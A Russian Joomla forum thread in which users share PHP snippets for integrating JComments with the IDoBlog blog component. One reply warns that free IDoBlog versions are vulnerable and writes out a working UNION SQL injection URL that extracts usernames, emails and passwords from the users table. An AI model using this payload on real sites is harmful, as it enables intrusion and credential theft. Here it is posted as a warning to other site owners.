LiveInternetMail.ru
Форум русской поддержки Joomla!® CMS
27.05.2012, 22:10:00 *
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.
Вам не пришло письмо с кодом активации?

Войти
   
   Начало   Поиск Joomla 1.7 FAQ Joomla 1.5 FAQ Joomla 1.0 FAQ Правила форума Новости Joomla Войти Регистрация Помощь  
Страниц: [1] 2  Все   Вниз
  Добавить закладку  |  Печать  
Автор Тема: Интеграция Jcomments + IDoBlog  (Прочитано 13300 раз)
0 Пользователей и 1 Гость смотрят эту тему.
7Rei
Давно я тут
****

Репутация: +20/-0
Offline Offline

Пол: Мужской
Сообщений: 358


« : 22.12.2008, 12:42:27 »

Добрый день.
Компонент IDoBlog использует свою систему комментариев. На остальной же Joomla используется Jcomments.
Возможно ли, чтобы Jcomments брал аватарки из компонента IDoBlog?
Записан
romanof
Захожу иногда
**

Репутация: +0/-0
Offline Offline

Сообщений: 15


« Ответ #1 : 09.03.2009, 23:43:05 »

Пошел в лоб  Smiley, коменты idobloga, отключил (поставил уравень только суперадмин), а потом везде вставил вызов JComments, в post.php (в templates):
Код
  global $mainframe;
 $comments = $mainframe->getCfg('absolute_path'). '/components/com_jcomments/jcomments.php';
 if (file_exists($comments)) {
   require_once($comments);
   echo JComments::showComments($row->id, 'com_idoblog', $row->title);
 }
а в других, просто кол-во коментов (пользовался http://www.joomlatune.ru/jcomments-developers-manual.html):
Код
  global $mainframe;
 $comments = $mainframe->getCfg('absolute_path'). '/components/com_jcomments/jcomments.php';
 if (file_exists($comments)) {
   require_once($comments);
   $count = JComments::getCommentsCount($row->id, 'com_idoblog');
   echo $count ? ('Комментарии ('. $count . ')') : 'Добавить комментарий';
 }

Я хочу попросить Smart`a как сделать чтобы комментарии можно было включать (в настройках) не только категории, а разделы.
А то блог  каждого пользователя -это категория, соответственно новый пользователь - новая категория. Пока при прямом вызове это не мешает, но вдруг?
« Последнее редактирование: 01.11.2009, 16:32:56 от smart » Записан
smart
Администратор
*******

Репутация: +1143/-14
Offline Offline

Пол: Мужской
Сообщений: 8204


тружусь даже во сне...


« Ответ #2 : 10.03.2009, 00:01:56 »

Я хочу попросить Smart`a как сделать чтобы комменты можно было включать (в настройках) не только категории, а разделы.
в ближайшее время - никак, в будущем планируется добавить возможность таких настроек для каждого из интегрируемых компонентов... но никак не раньше лета...
Записан
dn0006
Захожу иногда
**

Репутация: +2/-0
Offline Offline

Пол: Мужской
Сообщений: 13



« Ответ #3 : 12.09.2009, 04:00:22 »

можно поподробнее по интеграции и замене дефолтной системы комментариев ?!
какие строки и в каких файлах менять ?
а то из постов что выше мне мало понятно, программистом не являюсь. так что извиняйте
Записан
Alex Revo
Практически профи
*******

Репутация: +104/-0
Offline Offline

Пол: Мужской
Сообщений: 2004


« Ответ #4 : 01.11.2009, 14:13:44 »

Во вложении файл default.php шаблона nicomo
Думаю разберешься что к чему, и в post.php добавить вывод по описанной выше схеме.

P.S. Мне еще пришлось подправить модуль комментариев, чтобы генерил урлы по общей схеме.

* default.txt (3.8 Кб - загружено 312 раз.)
Записан
smart
Администратор
*******

Репутация: +1143/-14
Offline Offline

Пол: Мужской
Сообщений: 8204


тружусь даже во сне...


« Ответ #5 : 01.11.2009, 16:34:11 »

P.S. Мне еще пришлось подправить модуль комментариев, чтобы генерил урлы по общей схеме.
а  модуль-то причем? ссылки формируют плагины JComments (/components/com_jcomments/plugins/)
Записан
Alex Revo
Практически профи
*******

Репутация: +104/-0
Offline Offline

Пол: Мужской
Сообщений: 2004


« Ответ #6 : 01.11.2009, 16:43:54 »

Дело в том, что idoblog хранит записи в #__content и работать с ними в админке можно как с обычными статьями, соотв. JComments в модуле последних ябъявлений при выводе ссылке "readmore" делает url как для com_content:
/component/content/article/...

а нужен вид:
/[alias menu component]/viewpost/...

Поэтому я просто исправил $link в модуле, т.к. у меня в блоге не будет других мест для комментирования.
Записан
smart
Администратор
*******

Репутация: +1143/-14
Offline Offline

Пол: Мужской
Сообщений: 8204


тружусь даже во сне...


« Ответ #7 : 01.11.2009, 17:31:25 »

соотв. JComments в модуле последних ябъявлений при выводе ссылке "readmore" делает url как для com_content
это если при интеграции указать в качестве компонента 'com_content', если же указывать, как положено, 'com_idoblog', то комментарии будут в базу ложиться как комментарии для 'com_idoblog' и ссылки будут в модуле строиться правильно
Записан
Alex Revo
Практически профи
*******

Репутация: +104/-0
Offline Offline

Пол: Мужской
Сообщений: 2004


« Ответ #8 : 02.11.2009, 17:44:12 »

самое интересно, что у меня указано все "как положено"...
Записан
Alex Revo
Практически профи
*******

Репутация: +104/-0
Offline Offline

Пол: Мужской
Сообщений: 2004


« Ответ #9 : 02.11.2009, 22:21:57 »

Кстати, в списке комментариев под записью, урлы в class="comment-anchor" тоже формируются для com_content, пришлось подправить шаблон вывода комментов.
Записан
smart
Администратор
*******

Репутация: +1143/-14
Offline Offline

Пол: Мужской
Сообщений: 8204


тружусь даже во сне...


« Ответ #10 : 02.11.2009, 22:50:18 »

Ну судя по коду плагина com_idoblog.plugin.php (которому уже наверно года 2 точно):

Код
			if ($row->access <= $user->get('aid', 0)) {
$link = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catslug, $row->sectionid));
} else {
$link = JRoute::_("index.php?option=com_user&task=register");
}
других ссылок действительно на тот момент и не предусматривалось... Когда я делал этот плагин у компонента наверняка не было никакого роутера, а потом мне этот компонент резко стал не интересен - не приемлю spyware... а вот почему плагин из дистрибутива не убрал - не помню, может кто-то попросил отставить...
Записан
Alex Revo
Практически профи
*******

Репутация: +104/-0
Offline Offline

Пол: Мужской
Сообщений: 2004


« Ответ #11 : 03.11.2009, 01:24:12 »

Да, компонент конечно не ахти какой, но если немного подпилить под себя, работать с ним можно. Я тут пишу не для того, чтобы обратить внимание на какие-то недоработки JComments, а просто чтобы обратить внимание тех, кто еще пойдет тем же путем интеграции.

idoblog в текущем виде не заслуживает усилий по разработке спец.плагина для JComments
Записан
smart
Администратор
*******

Репутация: +1143/-14
Offline Offline

Пол: Мужской
Сообщений: 8204


тружусь даже во сне...


« Ответ #12 : 03.11.2009, 01:59:21 »

Да я все понимаю, я просто сначала не понять почему ссылки неверные... поэтому и полез в код проверить свою память. В общем если нужно, могу поправить данный плагин, хотя не уверен, что это нужно...
Записан
SenshiB
Гость
« Ответ #13 : 06.11.2009, 23:34:41 »

Если не сложно, подскажите, где и что подправить.
Ситуация - на главной выводил последние записи блога. И ссылки вели на записи, как на обычный контент (раздел-категория-статья). И там уже появлялся JComments - но приписка шла как com_content .
А через блог вход на статью уже ничего не показывал, и комментарии приписывались как com_idoblog .
И, естественно, от com_content ничего не видно.

Из вашей переписки для себя вывел вот что:
  • можно сделать так, чтобы комментарии в контенте не выводились;
  • или же чтобы они прописывались как com_idoblog.

Если возможен второй вариант, то как?
P.S. Использую тему idobloger
Записан
Tender
Захожу иногда
**

Репутация: +0/-0
Offline Offline

Сообщений: 6


« Ответ #14 : 15.02.2010, 00:38:49 »

Можеть ли кто нибуть написать понянтно для особо тупых, как сделать что JComments работало на idoblog ?
Записан
smart
Администратор
*******

Репутация: +1143/-14
Offline Offline

Пол: Мужской
Сообщений: 8204


тружусь даже во сне...


« Ответ #15 : 16.02.2010, 15:23:48 »

А почему бы не попросить автора idoblog встроить поддержку JComments в компонент? Мне кажется это лучше, чем потом при каждом обновлении искать свежее решение для интеграции.
Записан
Slay
Захожу иногда
**

Репутация: +1/-0
Offline Offline

Пол: Мужской
Сообщений: 20


« Ответ #16 : 19.02.2010, 01:56:11 »

А почему бы не попросить автора idoblog встроить поддержку JComments в компонент? Мне кажется это лучше, чем потом при каждом обновлении искать свежее решение для интеграции.
Та уже задавали. Говорит что лучше развивать свою систему комментариев и т.д
Записан
smart
Администратор
*******

Репутация: +1143/-14
Offline Offline

Пол: Мужской
Сообщений: 8204


тружусь даже во сне...


« Ответ #17 : 19.02.2010, 13:54:07 »

Та уже задавали. Говорит что лучше развивать свою систему комментариев и т.д
Ну так пусть развивает, раз ему охота изобретать велосипед... У меня никакого желания в чужом коде ковыряться нет, тем более потом каждый раз при выходе новой версии делать обновление инструкций. Странная в принципе у него позиция, ну да ладно...
Записан
romanof
Захожу иногда
**

Репутация: +0/-0
Offline Offline

Сообщений: 15


« Ответ #18 : 28.02.2010, 00:58:38 »

При такой интеграции, в модуле JComments, остаются ссылки на com_comnent, меня сегодня спросили как это исправить, решил выложить для всех, может пригодится. Менял запросы к БД и линки в зависимости от $object_group. Во вложении измененый файл mod_jcomments.php, напрямую лучше не заменять, т.к. предыдущая версия модуля, что изменилось не проверял.
Вложить не получилось. вот функция для примера
   function modJCommentsLatestCommented( &$params ) {
      global $mainframe, $my;

      $dbo = & JCommentsFactory::getDBO();
      $acl = & JCommentsFactory::getACL();
      $config = & JCommentsFactory::getConfig();
      $type_com = $params->get( 'select_component' );
      $object_group = trim($params->get('object_group', 'com_content'));

      if ( $object_group == 'com_content' ) {
         
         $sectionid = intval($params->get('sectionid'));
         $exclude_sectionid = trim($params->get('exclude_sectionid', ''));
         $exclude_sections = array();
         if ($exclude_sectionid != '') {
            $exclude_sections = explode(',', $exclude_sectionid);
         }
         
         $catid = intval($params->get('catid'));
         $exclude_catid = trim($params->get('exclude_catid', ''));
         $exclude_catids = array();
         if ($exclude_catid != '') {
            $exclude_catids = explode(',', $exclude_catid);
         }
         $class ='news-com';
         $query = "SELECT c.title, c.do_title ,c.id, COUNT(cc.id) AS comments "
            . "\n  ,cc.name , cc.date, c.id as slug, cc.id as catslug"
            . "\n FROM #__content AS c "
            . "\n LEFT JOIN #__jcomments AS cc ON c.id = cc.object_id"
            . "\n WHERE cc.published = '1'"
            . "\n   AND c.access <= '$my->gid'"
            . "\n   AND (c.publish_up = '0000-00-00 00:00:00' OR c.publish_up <= NOW())"
            . "\n   AND (c.publish_down = '0000-00-00 00:00:00' OR c.publish_down >= NOW())"
            . "\n   AND cc.object_group = 'com_content'"
            . ((!$catid && $sectionid)? "\n   AND (c.sectionid IN ($sectionid) )" : '')
            . (count($exclude_sections)? "\n AND (c.sectionid NOT IN (".implode(',', $exclude_sections).") )" : '')
            . ($catid ? "\n   AND (c.catid IN ($catid) )" : '')
            . (count($exclude_catids)? "\n AND (c.catid NOT IN (".implode(',', $exclude_catids).") )" : '')
            . "\n GROUP BY c.id "
            . "\n ORDER BY comments DESC"
            . "\n LIMIT " . intval( $params->get( 'count' ) )
            ;
      } elseif ($object_group == 'com_idoblog' ) {
         $class ='name';
         $query = "SELECT c.title ,c.id, COUNT(cc.id) AS comments "
            . "\n  ,cc.name , cc.date, ic.title as comtitle, ic.id_community_category as icc , ic.community_keyword as com_key, cc.object_group"
            . "\n FROM #__content AS c "
            . "\n LEFT JOIN #__jcomments AS cc ON c.id = cc.object_id"
            . "\n LEFT JOIN #__idoblog_communities AS ic ON c.catid = ic.id_category  "
            . "\n WHERE cc.published = '1'"
            . "\n AND cc.object_group = '".$object_group."'"
            . "\n GROUP BY c.id "
            . "\n ORDER BY comments DESC"
            . "\n LIMIT " . intval( $params->get( 'count' ) )
            ;
      }  elseif ($object_group == 'com_eventlist' ) {

         $query = "SELECT ev.title ,ev.id, evc.catname, COUNT(cc.id) AS comments "
            . "\n  , cc.title as comtitle "
            . "\n FROM #__jcomments AS cc"
            . "\n LEFT JOIN #__eventlist_events AS ev ON cc.object_id = ev.id   "
            . "\n LEFT JOIN #__eventlist_categories AS evc ON ev.catsid = evc.id  "
            . "\n WHERE cc.published = '1'"
            . "\n AND cc.object_group = '".$object_group."'"
            . "\n GROUP BY ev.id "
            . "\n ORDER BY comments DESC"
            . "\n LIMIT " . intval( $params->get( 'count' ) )
            ;
      }
      //echo $query;
      $dbo->setQuery( $query );
      $rows = $dbo->loadObjectList();   
      //print_r($rows);
      if ( sizeof( $rows ) ) {
         echo '<ul class="headers-list">'."\n";
         
         foreach( $rows as $row ) {
            $link  = JCommentsObjectHelper::getLink( $row->object_id, $row->object_group);
            //$title = JCommentsText::censor($row->comment );
            //echo $title;
            if (JCOMMENTS_JVERSION == '1.5' && $object_group != 'com_idoblog') {
               require_once (JPATH_ROOT.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php');
               $link = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catslug, $row->sectionid)). '&amp;Itemid=2#comments';
            } elseif ($object_group != 'com_idoblog') {
               $_Itemid = $mainframe->getItemid($row->id);
               $link = sefRelToAbs('index.php?option=com_content&amp;task=view&amp;id=' . $row->object_id . '&amp;Itemid=' . $_Itemid . '#comments');
            }
            
            
            if ($object_group == 'com_idoblog') {
               $link = JRoute::_('index.php?option=com_idoblog&amp;task=viewpost&id='. $row->id.'&amp;Itemid=6#comment'.$row->id);
            }

            if ($object_group == 'com_eventlist') {
               $_Itemid = 3;
               
               $link = JRoute::_('index.php?view=details&amp;id='. $row->id.'&amp;option=com_eventlist&amp;Itemid='.$_Itemid.'#comment'.$row->id);
            }
            
            $link_title = $row->title;
            $link_text = $row->title;
   if(!empty($link_title)) {
            if ( $params->get( 'showcomments' ) ) {
               $link_text .= ' <a class="comments-link" href="'.$link.'">' . $row->comments . '</a>';
            }
            echo '<li id="1"><div class="dt">';
            echo $row->do_title.' <a href="'.$link.'" title="'.$link_title.'" class="'.$class.'">'.$link_text.'</a></div>'."\n";
            if (!empty($row->comtitle) && $row->icc != 0  ) {
             $link_com = JRoute::_('index.php?option=com_idoblog&amp;keyword='. $row->com_key.'&amp;Itemid=6');
            echo '<a href="'.$link_com.'" title="'.$row_comtitle.'" class="club-link">'.$row->comtitle.'</a> '."\n";
            }
            
            if (!empty($row->catname) ) {
             $link_com = JRoute::_('index.php?option=com_idoblog&amp;keyword='. $row->com_key.'&amp;Itemid=6');
            echo '<span class="pre-name">'.$row->catname.'</span> '."\n";
            }
            
            
            echo '</li>';}
         }
         echo '</ul>'."\n";
      }      
   }
Записан
vasya000
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Пол: Мужской
Сообщений: 143


Реально Вася :)


« Ответ #19 : 11.06.2010, 14:47:19 »

Скажите как заменить ссылки "коментировать" на ссылку "ответить"?
Записан
Alex Revo
Практически профи
*******

Репутация: +104/-0
Offline Offline

Пол: Мужской
Сообщений: 2004


« Ответ #20 : 11.06.2010, 14:57:42 »

Изменить слово в переводе.
Записан
vasya000
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Пол: Мужской
Сообщений: 143


Реально Вася :)


« Ответ #21 : 11.06.2010, 22:24:54 »

Изменить слово в переводе.
Alex Revo спасибо! Wink Cheesy Grin
« Последнее редактирование: 11.06.2010, 22:43:12 от vasya000 » Записан
voral
Новичок
*

Репутация: +0/-0
Offline Offline

Сообщений: 3


« Ответ #22 : 07.07.2010, 16:00:42 »

Предлагаю свой вариант интеграции.
Итак
Незабываем сделать копии

a. файл com_idoblogs/assets/templates/<имя_темплейта>/post.php
1 Ищем код:
Код:
<?php if( $this->items[0]->adsense_type=='t') echo $this->items[0]->adsense.'<br>'; ?>
Вставляем после него
Код:
<?
    global $mosConfig_absolute_path;
    $comments = $mosConfig_absolute_path . '/components/com_jcomments/jcomments.php';
    if (file_exists($comments)) {
      require_once($comments);
      echo JComments::showComments($this->items[0]->id, 'com_idoblog', $row->title);
    }
/*
?>
2. Ищем в самом конце файла
Код:
<?php
   }
    ?>
Заменяем на
Код:
<?php
  */  }
    ?>

b. файл com_idoblogs/models/idoblog.php
Ищем
Код:
function _getsumcomments($idarticle) {
$db =& JFactory::getDBO();
$query="SELECT * FROM #__idoblog_comments WHERE idarticle=".$idarticle." AND publish=1";
$db->setQuery( $query );
$db->query();
$sum=$db->getNumRows();
return $sum;
}
Заменяем на
Код:
function _getsumcomments($idarticle) {
global $mosConfig_absolute_path;
$comments = $mosConfig_absolute_path . '/components/com_jcomments/jcomments.php';
if (file_exists($comments)) {
require_once($comments);
$sum = JComments::getCommentsCount($idarticle, 'com_idoblog');
}
return $sum;
}

c. готово.

Пока ковырялся с этим компонентом возникло желание сделать форк.
Записан
smart
Администратор
*******

Репутация: +1143/-14
Offline Offline

Пол: Мужской
Сообщений: 8204


тружусь даже во сне...


« Ответ #23 : 08.07.2010, 02:29:54 »

Пока ковырялся с этим компонентом возникло желание сделать форк.
А смысл? Не лучше ли взять готовое и развивающееся решение типа LyftenBloggie или же собрать нужный функционал на базе FLEXIcontent или K2?
Записан
voral
Новичок
*

Репутация: +0/-0
Offline Offline

Сообщений: 3


« Ответ #24 : 08.07.2010, 10:53:24 »

А смысл? Не лучше ли взять готовое и развивающееся решение типа LyftenBloggie или же собрать нужный функционал на базе FLEXIcontent или K2?
Если честно я первый проект делаю на Joomla. И как то выбрал идоблогс. ТОлько вчера столкнулся, что комментарии это проблема. Лифтен вчера пробовал, но лично мне как программисту быстрее (хватило минут 15 с учетом существования ваших рекомендаций по интеграции комментариев и галереи) идоблог допилить (по сути для работы сайта он все делает теперь, что мне нужно. допиливать нужно в плане удобностей админства, а это на готовность сайта не влияет.).

Кстати. По поводу JComments Latest. Не плохо бы иметь опциональную возможность в блоке разбивать по категориям. Т.е. у вас там хранится модуль-источник. Вот по нему и группировать, только прикрутить еще удобочитаемое название для группы.
« Последнее редактирование: 08.07.2010, 10:56:25 от voral » Записан
Alex Revo
Практически профи
*******

Репутация: +104/-0
Offline Offline

Пол: Мужской
Сообщений: 2004


« Ответ #25 : 08.07.2010, 10:59:01 »

Все бесплатные версии Idoblog содержат уязвимости на предмет инъекций, у меня был печальный опыт, после которого я отказался от этого компонента.
Записан
voral
Новичок
*

Репутация: +0/-0
Offline Offline

Сообщений: 3


« Ответ #26 : 08.07.2010, 12:16:49 »

Все бесплатные версии Idoblog содержат уязвимости на предмет инъекций, у меня был печальный опыт, после которого я отказался от этого компонента.
спасибо. проверю
Записан
Alex Revo
Практически профи
*******

Репутация: +104/-0
Offline Offline

Пол: Мужской
Сообщений: 2004


« Ответ #27 : 08.07.2010, 12:36:09 »

взлом идет через запросы вида: /index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,concat_ws(0x3a,username,email,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users

Записан
smart
Администратор
*******

Репутация: +1143/-14
Offline Offline

Пол: Мужской
Сообщений: 8204


тружусь даже во сне...


« Ответ #28 : 08.07.2010, 16:23:34 »

Кстати. По поводу JComments Latest. Не плохо бы иметь опциональную возможность в блоке разбивать по категориям. Т.е. у вас там хранится модуль-источник. Вот по нему и группировать, только прикрутить еще удобочитаемое название для группы.
Ну так сделайте альтернативный модуль... я, к сожалению, не могу воплотить все пожелания
Записан
donklass
Новичок
*

Репутация: +0/-0
Offline Offline

Сообщений: 3


« Ответ #29 : 08.07.2010, 21:20:16 »

взлом идет через запросы вида: /index.php?option=com_idoblog&task=profile&Itemid=1337&userid=62+union+select+1,concat_ws(0x3a,username,email,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+jos_users



Ну,закройте,что необходимо файлом .htaccess

И вообще не понимаю в данной теме вопроса интеграции. Ну,не устанавливайте mod_idoblog_comments вообще,а в настройках JComments включайте раздел blogs c категориями,являющимися именами авторов.И комментарии будут выводиться всегда и везде.
Записан
Страниц: [1] 2  Все   Вверх
  Добавить закладку  |  Печать  
 
Перейти в:  

Рейтинг@Mail.ru Rambler Top100 Powered by SMF 1.1.16 | SMF © 2006, Simple Machines

Joomlaforum.ru is not affiliated with or endorsed by the Joomla! Project or Open Source Matters.
The Joomla! name and logo is used under a limited license granted by Open Source Matters
the trademark holder in the United States and other countries.

LiveInternet